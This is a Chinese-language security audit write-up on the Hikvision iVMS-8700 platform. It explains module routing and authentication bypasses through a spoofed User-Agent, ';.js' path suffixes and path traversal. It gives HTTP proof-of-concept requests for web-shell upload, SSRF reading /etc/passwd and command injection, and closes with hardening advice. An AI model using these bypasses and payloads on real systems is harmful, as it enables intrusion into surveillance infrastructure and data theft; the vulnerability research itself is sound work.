海康威视iVMS-8700安全审计实战:从Spring架构到漏洞利用的完整分析
在当今数字化时代,视频监控系统已成为企业安全防护的重要组成部分。作为行业领先的安防解决方案提供商,海康威视的iVMS-8700平台广泛应用于各类场景。然而,随着系统复杂度的提升,其安全性也面临着严峻挑战。本文将深入剖析该平台的架构设计与安全机制,并提供一系列实战验证的漏洞利用方法。
1. iVMS-8700系统架构深度解析
iVMS-8700采用模块化设计理念,每个功能模块都以独立的WAR包形式部署。这种架构设计虽然提高了系统的灵活性和可维护性,但也带来了特定的安全考量。
以EPS模块为例,其典型目录结构如下:
eps ├─views ├─index.jsp └─WEB-INF ├─services ├─EpsService ├─META-INF ├─ServiceData.xml ├─services.xml ├─web.xml ├─lib └─classes ├─com ├─i18n ├─springbeans ├─springmvc-servlet.xml ├─securityConfig.xml系统基于Spring框架构建,路由机制主要通过web.xml配置实现。关键路由模式包括:
- 以
.action结尾的请求 - 以
/api/开头的请求
路由处理由Spring的DispatcherServlet负责,配置示例如下:
<servlet> <servlet-name>springmvc</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>classpath*:springmvc-servlet.xml</param-value> </init-param> </servlet> <servlet-mapping> <servlet-name>springmvc</servlet-name> <url-pattern>*.action</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>springmvc</servlet-name> <url-pattern>/api/*</url-pattern> </servlet-mapping>2. 认证绕过技术深度剖析
系统采用多层安全过滤机制,但存在多处可被绕过的设计缺陷。我们将重点分析三种典型的绕过方式。
2.1 User-Agent伪造绕过
在EPS模块中,ExtAuthenticationFilter负责验证.action请求。其验证逻辑包含四个关键检查点:
checkInvalidTicket返回值必须为false(不传入ticket参数)requestUrlIsLoginWithoutServiceParameters返回值必须为false(不传入service参数)- 请求参数不能包含
WEB-INF requestUrlNoNeedFilter为true,或HttpRequestUtils.requestComeFromWeChatClient返回true
其中第四点尤为关键,相关代码如下:
public static boolean requestComeFromWeChatClient(HttpServletRequest request) { String userAgent = request.getHeader("User-Agent"); return userAgent != null && userAgent.contains("MicroMessenger"); }绕过方法:只需在请求头中添加User-Agent: MicroMessenger即可绕过认证。
2.2 特殊字符绕过技术
CENTER模块采用双重拦截器机制:
- LoginInterceptor:处理登录验证
- PermissionInterceptor:处理权限验证
关键发现:
- 以
/api/开头的路径不进行登录校验 - Tomcat支持的特殊字符(如
;)可被利用
实战技巧:通过添加;.js后缀可绕过验证,例如:
/center/api/files;.js2.3 路径遍历绕过
SVM模块使用HikAuthenticationFilter进行CAS认证,其核心逻辑如下:
if (this.isRequestUrlExcluded(request)) { filterChain.doFilter(request, response); }绕过条件取决于isRequestUrlExcluded方法的返回值。系统从cas-client.properties加载白名单路径:
cas.ignore.pattern=/login,/api/v1/productFile,/api/v1/heartbeat*,...对于非白名单路径,可采用../进行路径遍历绕过。
3. 历史漏洞复现与利用
下表总结了iVMS-8700各模块存在的主要漏洞类型:
| 模块 | 漏洞类型 | 影响路由 |
|---|---|---|
| EPS | 文件上传 | /eps/api/resourceOperations/upload |
| EPS | SSRF | /eps/api/triggerSnapshot/download |
| CENTER | 文件上传 | /center/api/files;.js |
| CENTER | 远程代码执行 | /center/api/installation/detection |
| CENTER | Fastjson反序列化 | /center/api/session |
| SVM | 文件上传 | /svm/api/external/report |
| MSP | 文件上传 | /msp/home/upload.action |
| BIC | Fastjson反序列化 | /bic/ssoService/v1/keepAlive |
3.1 文件上传漏洞实战
以EPS模块为例,文件上传漏洞位于ResourceOperationAction类的uploadAttachment方法。关键利用要点:
- 请求必须使用
multipart/form-data格式 - 文件字段名必须为
fileUploader - 成功上传后会返回资源UUID
示例POC:
POST /eps/resourceOperations/upload.action HTTP/1.1 Host: target.com User-Agent: MicroMessenger Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7HE80p4aaByyX1zc ------WebKitFormBoundary7HE80p4aaByyX1zc Content-Disposition: form-data; name="fileUploader"; filename="shell.jsp" <% 恶意代码 %> ------WebKitFormBoundary7HE80p4aaByyX1zc--3.2 SSRF漏洞利用
EPS模块的downloadTriggerSnapshot方法存在SSRF漏洞:
URL url = new URL(fileUrl); InputStream is = url.openStream();利用方式:
- 使用
file://协议读取本地文件 - 利用
http://探测内网服务
示例POC:
GET /eps/triggerSnapshot/download.action?fileUrl=file:///etc/passwd HTTP/1.13.3 远程代码执行漏洞
CENTER模块的部署检测功能存在命令注入漏洞。关键代码:
String command = convertExecuteCommand(machine.getId()); executeCommandReceiveResult(command);利用步骤:
- 构造type为"environment"的JSON请求
- 在machines.id参数中注入命令
- 命令执行结果会写入指定文件
示例POC:
POST /center/api/installation/detection HTTP/1.1 Content-Type: application/json { "type":"environment", "operate":"", "machines":{ "id":"$(id > /tmp/result.txt)" } }4. 防御建议与最佳实践
针对发现的漏洞,我们建议采取以下防护措施:
输入验证强化:
- 对所有用户输入进行严格校验
- 实现白名单机制的参数过滤
- 对特殊字符进行转义处理
认证机制加固:
- 实现统一的认证入口点
- 避免依赖客户端提供的元信息(如User-Agent)
- 对敏感操作实施多因素认证
安全配置优化:
- 禁用不必要的HTTP方法
- 限制文件上传类型和存储位置
- 及时更新第三方库版本
监控与响应:
- 部署WAF防护关键接口
- 建立异常请求监控机制
- 制定漏洞应急响应预案
在实际测试过程中,发现不同模块对相同漏洞的防护水平存在差异,这提示我们在系统开发中应建立统一的安全标准和代码审查流程。